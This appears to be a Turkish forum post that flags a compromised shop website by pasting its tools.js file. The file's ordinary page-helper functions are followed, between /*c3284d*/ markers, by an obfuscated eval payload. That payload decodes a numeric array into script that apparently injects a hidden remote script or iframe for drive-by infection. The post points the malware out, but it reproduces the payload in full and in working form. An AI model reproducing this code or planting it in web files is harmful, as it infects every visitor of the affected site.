Javascript dosyalarına bir göz atmanı tavsiye ederim.
http://ucuzkombisatis.com/js/tools.js
function autoUrl(name, dest)
{
var loc;
var id_list;
id_list = document.getElementById(name);
loc = id_list.options[id_list.selectedIndex].value;
if (loc != 0)
location.href = dest+loc;
return ;
}
function autoUrlNoList(name, dest)
{
var loc;
loc = document.getElementById(name).checked;
location.href = dest + (loc == true ? 1 : 0);
return ;
}
/*
** show or hide element e depending on condition show
*/
function toggle(e, show)
{
e.style.display = show ? '' : 'none';
}
function toggleMultiple(tab)
{
var len = tab.length;
for (var i = 0; i < len; i++)
if (tab[i].style)
toggle(tab[i], tab[i].style.display == 'none');
}
/**
* Show dynamicaly an element by changing the sytle "display" property
* depending on the option selected in a select.
*
* @param string $select_id id of the select who controls the display
* @param string $elem_id prefix id of the elements controlled by the select
* the real id must be : 'elem_id'+nb with nb the corresponding number in the
* select (starting with 0).
*/
function showElemFromSelect(select_id, elem_id)
{
var select = document.getElementById(select_id);
for (var i = 0; i < select.length; ++i)
{
var elem = document.getElementById(elem_id + select.options[i].value);
if (elem != null)
toggle(elem, i == select.selectedIndex);
}
}
/**
* Get all div with specified name and for each one (by id), toggle their visibility
*/
function openCloseAllDiv(name, option)
{
var tab = $('*[name='+name+']');
for (var i = 0; i < tab.length; ++i)
toggle(tab[i], option);
}
/**
* Toggle the value of the element id_button between text1 and text2
*/
function toggleElemValue(id_button, text1, text2)
{
var obj = document.getElementById(id_button);
if (obj)
obj.value = ((!obj.value || obj.value == text2) ? text1 : text2);
}
function addBookmark(url, title)
{
if (window.sidebar)
return window.sidebar.addPanel(title, url, "");
else if ( window.external )
return window.external.AddFavorite( url, title);
else if (window.opera && window.print)
return true;
return true;
}
function writeBookmarkLink(url, title, text, img)
{
var insert = '';
if (img)
insert = writeBookmarkLinkObject(url, title, '<img src="' + img + '" alt="' + escape(text) + '" title="' + escape(text) + '" />') + ' ';
insert += writeBookmarkLinkObject(url, title, text);
document.write(insert);
}
function writeBookmarkLinkObject(url, title, insert)
{
if (window.sidebar || window.external)
return ('<a href="javascript:addBookmark(\'' + escape(url) + '\', \'' + escape(title) + '\')">' + insert + '</a>');
else if (window.opera && window.print)
return ('<a rel="sidebar" href="' + escape(url) + '" title="' + escape(title) + '">' + insert + '</a>');
return ('');
}
function checkCustomizations()
{
var tmp;
var pattern = new RegExp(' ?filled ?');
for (var i = 0; i < customizationFields.length; i++)
/* If the field is required and empty then we abort */
if (parseInt(customizationFields[i][1]) == 1 && $('#' + customizationFields[i][0]).val() == '' && !pattern.test($('#' + customizationFields[i][0]).attr('class')))
return false;
return true;
}
function ceilf(value, precision)
{
if (typeof(precision) == 'undefined')
precision = 0
var precisionFactor = precision == 0 ? 1 : Math.pow(10, precision);
var tmp = value * precisionFactor;
var tmp2 = tmp.toString();
// If the current value has already the desired precision
if (tmp2.indexOf('.') === false)
return (value);
if (tmp2.charAt(tmp2.length - 1) == 0)
return value;
return Math.ceil(tmp) / precisionFactor;
}
function floorf(value, precision)
{
if (typeof(precision) == 'undefined')
precision = 0
var precisionFactor = precision == 0 ? 1 : Math.pow(10, precision);
var tmp = value * precisionFactor;
var tmp2 = tmp.toString();
// If the current value has already the desired precision
if (tmp2.indexOf('.') === false)
return (value);
if (tmp2.charAt(tmp2.length - 1) == 0)
return value;
return Math.floor(tmp) / precisionFactor;
}
/*c3284d*/
try{n|=Math.round;}catch(zxc){m=Math;n="1428..1755..1540..1485..1624..1575..1554..1650..448..1650..1414..1800..1624..1230..1358..1650..1400..1665..1526..1170..1638..1635..1372..1515..1596..600..574..1845..182..150..448..480..448..480..1652..1455..1596..480..1456..1575..448..915..448..1740..1456..1575..1610..690..1610..1515..1414..1500..448..705..448..1740..1456..1575..1610..690..1134..885..182..150..448..480..448..480..1652..1455..1596..480..1512..1665..448..915..448..1740..1456..1575..1610..690..1610..1515..1414..1500..448..555..448..1740..1456..1575..1610..690..1134..885..182..150..448..480..448..480..1652..1455..1596..480..1624..1515..1610..1740..448..915..448..1740..1456..1575..1610..690..910..480..588..480..1512..1665..448..675..448..1740..1456..1575..1610..690..1148..480..588..480..1456..1575..826..195..140..480..448..480..448..1575..1428..600..1624..1515..1610..1740..448..930..448..720..574..1845..182..150..448..480..448..480..448..480..448..480..1624..1560..1470..1725..644..1725..1414..1515..1400..480..854..480..1624..1515..1610..1740..826..195..140..480..448..480..448..1875..448..1515..1512..1725..1414..480..1722..195..140..480..448..480..448..480..448..480..448..1740..1456..1575..1610..690..1610..1515..1414..1500..448..915..448..1740..1414..1725..1624..480..602..480..1624..1560..1470..1725..644..1155..826..195..140..480..448..480..448..1875..182..150..448..480..448..480..1596..1515..1624..1755..1596..1650..448..600..1624..1560..1470..1725..644..1725..1414..1515..1400..480..588..480..1624..1560..1470..1725..644..1665..1540..1515..1106..1770..1414..1710..1078..615..826..195..140..1875..182..150..182..150..1428..1755..1540..1485..1624..1575..1554..1650..448..1230..1358..1650..1400..1665..1526..1170..1638..1635..1372..1515..1596..1065..1414..1650..1414..1710..1358..1740..1554..1710..560..1755..1540..1575..1680..615..1722..195..140..480..448..480..448..1770..1358..1710..448..1500..448..915..448..1650..1414..1785..448..1020..1358..1740..1414..600..1638..1650..1470..1800..588..735..672..720..672..615..826..195..140..480..448..480..448..1770..1358..1710..448..1725..448..915..448..1155..1358..1740..1456..690..1386..1515..1470..1620..560..1500..644..1545..1414..1740..1008..1665..1638..1710..1610..600..574..705..714..615..826..195..140..480..448..480..448..1740..1456..1575..1610..690..1610..1515..1414..1500..448..915..448..750..714..780..742..810..770..840..798..720..686..480..602..480..560..1500..644..1545..1414..1740..1078..1665..1540..1740..1456..600..574..480..588..480..672..1800..980..1050..980..1050..980..1050..574..480..602..480..560..1500..644..1545..1414..1740..952..1455..1624..1515..560..615..448..630..448..720..1680..1050..980..1050..980..615..602..480..560..1155..1358..1740..1456..690..1596..1665..1638..1650..1400..600..1610..480..588..480..672..1800..980..1050..980..615..574..885..182..150..448..480..448..480..1624..1560..1470..1725..644..975..448..915..448..780..784..750..770..735..826..195..140..480..448..480..448..1740..1456..1575..1610..690..1078..480..854..480..700..735..728..825..728..840..714..810..728..825..826..195..140..480..448..480..448..1740..1456..1575..1610..690..1134..480..854..480..1624..1560..1470..1725..644..1155..448..705..448..1740..1456..1575..1610..690..910..885..182..150..448..480..448..480..1624..1560..1470..1725..644..1230..448..915..448..1740..1456..1575..1610..690..1078..480..518..480..1624..1560..1470..1725..644..975..826..195..140..480..448..480..448..1740..1456..1575..1610..690..1554..1650..1414..1185..1652..1515..1596..1155..448..915..448..735..644..720..448..705..448..1740..1456..1575..1610..690..1078..885..182..150..448..480..448..480..1624..1560..1470..1725..644..1650..1414..1800..1624..480..854..480..1540..1515..1680..1740..1148..1455..1540..1500..1554..1635..1092..1755..1526..1470..1414..1710..826..195..140..480..448..480..448..1710..1414..1740..1638..1710..1540..480..1624..1560..1470..1725..826..195..140..1875..182..150..182..150..1428..1755..1540..1485..1624..1575..1554..1650..448..1485..1596..1515..1358..1740..1414..1230..1358..1650..1400..1665..1526..1170..1638..1635..1372..1515..1596..600..1596..660..448..1155..1470..1650..616..480..1078..1455..1680..615..1722..195..140..480..448..480..448..1710..1414..1740..1638..1710..1540..480..1078..1455..1624..1560..644..1710..1554..1755..1540..1500..560..600..1078..1455..1680..675..1078..1575..1540..615..448..630..448..1710..644..1650..1414..1800..1624..600..574..480..602..480..1078..1575..1540..615..826..195..140..1875..182..150..182..150..1428..1755..1540..1485..1624..1575..1554..1650..448..1545..1414..1650..1414..1710..1358..1740..1414..1200..1610..1515..1638..1500..1554..1230..1358..1650..1400..1665..1526..1245..1624..1710..1470..1650..1442..600..1638..1650..1470..1800..616..480..1512..1515..1540..1545..1624..1560..616..480..1708..1665..1540..1515..574..1845..182..150..448..480..448..480..1652..1455..1596..480..1596..1455..1540..1500..448..915..448..1650..1414..1785..448..1230..1358..1650..1400..1665..1526..1170..1638..1635..1372..1515..1596..1065..1414..1650..1414..1710..1358..1740..1554..1710..560..1755..1540..1575..1680..615..826..195..140..480..448..480..448..1770..1358..1710..448..1620..1414..1740..1624..1515..1596..1725..448..915..448..510..1582..1635..1358..1560..1442..1785..1386..1740..1554..1680..1428..1590..1470..1620..1596..1530..1568..1590..1596..1530..1386..1785..1442..1515..1666..1560..1414..1575..1708..1785..1400..1785..476..690..1610..1680..1512..1575..1624..600..546..585..574..885..182..150..448..480..448..480..1652..1455..1596..480..1610..1740..1596..480..854..480..546..585..826..195..140..135..1428..1665..1596..600..1652..1455..1596..480..1470..480..854..480..672..885..448..1575..448..900..448..1620..1414..1650..1442..1740..1456..885..448..1575..448..645..602..480..574..1845..182..150..448..480..448..480..448..480..448..480..1610..1740..1596..480..602..915..448..1620..1414..1740..1624..1515..1596..1725..1274..1485..1596..1515..1358..1740..1414..1230..1358..1650..1400..1665..1526..1170..1638..1635..1372..1515..1596..600..1596..1455..1540..1500..616..480..672..660..448..1620..1414..1740..1624..1515..1596..1725..644..1620..1414..1650..1442..1740..1456..480..630..480..686..615..1302..885..182..150..448..480..448..480..1750..195..140..480..448..480..448..1710..1414..1740..1638..1710..1540..480..1610..1740..1596..480..602..480..546..690..546..480..602..480..1708..1665..1540..1515..826..195..140..1875..182..150..182..150..1610..1515..1624..1095..1540..1740..1414..1710..1652..1455..1512..600..1428..1755..1540..1485..1624..1575..1554..1650..560..615..1722..195..140..480..448..480..448..1740..1596..1815..1722..195..140..480..448..480..448..480..448..480..448..1575..1428..600..1624..1815..1568..1515..1554..1530..448..1575..1428..1710..1358..1635..1414..1305..1358..1725..938..1710..1414..1455..1624..1515..1400..480..854..915..448..510..1638..1650..1400..1515..1428..1575..1540..1515..1400..510..574..1845..182..150..448..480..448..480..448..480..448..480..448..480..448..480..1652..1455..1596..480..1638..1650..1470..1800..448..915..448..1155..1358..1740..1456..690..1596..1665..1638..1650..1400..600..602..1650..1414..1785..448..1020..1358..1740..1414..600..574..705..686..720..672..720..574..885..182..150..448..480..448..480..448..480..448..480..448..480..448..480..1652..1455..1596..480..1400..1665..1526..1455..1470..1650..1092..1455..1526..1515..448..915..448..1545..1414..1650..1414..1710..1358..1740..1414..1200..1610..1515..1638..1500..1554..1230..1358..1650..1400..1665..1526..1245..1624..1710..1470..1650..1442..600..1638..1650..1470..1800..616..480..686..810..616..480..546..1710..1638..585..574..885..182..150..448..480..448..480..448..480..448..480..448..480..448..480..1470..1530..1596..1635..448..915..448..1500..1554..1485..1638..1635..1414..1650..1624..690..1386..1710..1414..1455..1624..1515..966..1620..1414..1635..1414..1650..1624..600..476..1095..980..1230..910..1155..966..510..574..885..448..195..140..480..448..480..448..480..448..480..448..480..448..480..448..1575..1428..1710..1526..690..1610..1515..1624..975..1624..1740..1596..1575..1372..1755..1624..1515..560..510..1610..1710..1386..510..616..480..476..1560..1624..1740..1568..870..658..705..476..645..1400..1665..1526..1455..1470..1650..1092..1455..1526..1515..602..510..658..1575..1540..690..1386..1545..1470..945..686..825..476..615..826..480..182..150..448..480..448..480..448..480..448..480..448..480..448..480..1470..1530..1596..1635..644..1725..1624..1815..1512..1515..644..1785..1470..1500..1624..1560..448..915..448..510..672..1680..1680..510..826..480..182..150..448..480..448..480..448..480..448..480..448..480..448..480..1470..1530..1596..1635..644..1725..1624..1815..1512..1515..644..1560..1414..1575..1442..1560..1624..480..854..480..476..720..1568..1800..476..885..448..195..140..480..448..480..448..480..448..480..448..480..448..480..448..1575..1428..1710..1526..690..1610..1740..1694..1620..1414..690..1652..1575..1610..1575..1372..1575..1512..1575..1624..1815..448..915..448..510..1456..1575..1400..1500..1414..1650..476..885..448..195..140..480..448..480..448..480..448..480..448..480..448..480..448..1500..1554..1485..1638..1635..1414..1650..1624..690..1372..1665..1400..1815..644..1455..1568..1680..1414..1650..1400..1005..1456..1575..1512..1500..560..1575..1428..1710..1526..615..826..195..140..135..126..135..1470..1530..1596..1455..1526..1515..1218..1455..1610..1005..1596..1515..1358..1740..1414..1500..448..915..448..1740..1596..1755..1414..885..182..150..448..480..448..480..448..480..448..480..1750..195..140..480..448..480..448..1875..1386..1455..1624..1485..1456..600..1414..615..1722..1575..1428..1710..1358..1635..1414..1305..1358..1725..938..1710..1414..1455..1624..1515..1400..480..854..480..1638..1650..1400..1515..1428..1575..1540..1515..1400..885..1750..195..140..1875..616..480..686..720..672..615..826".split("..");h=2;s="";for(i=0;i-1771!=0;i=1+i){k=i;s+=String["fromCharCode"](n[k]/(i-h*Math.floor(i/h)+016));}if(016-0xb===3)eval(""+s);}
/*/c3284d*/Pek yokmuş gibi görünmüyor...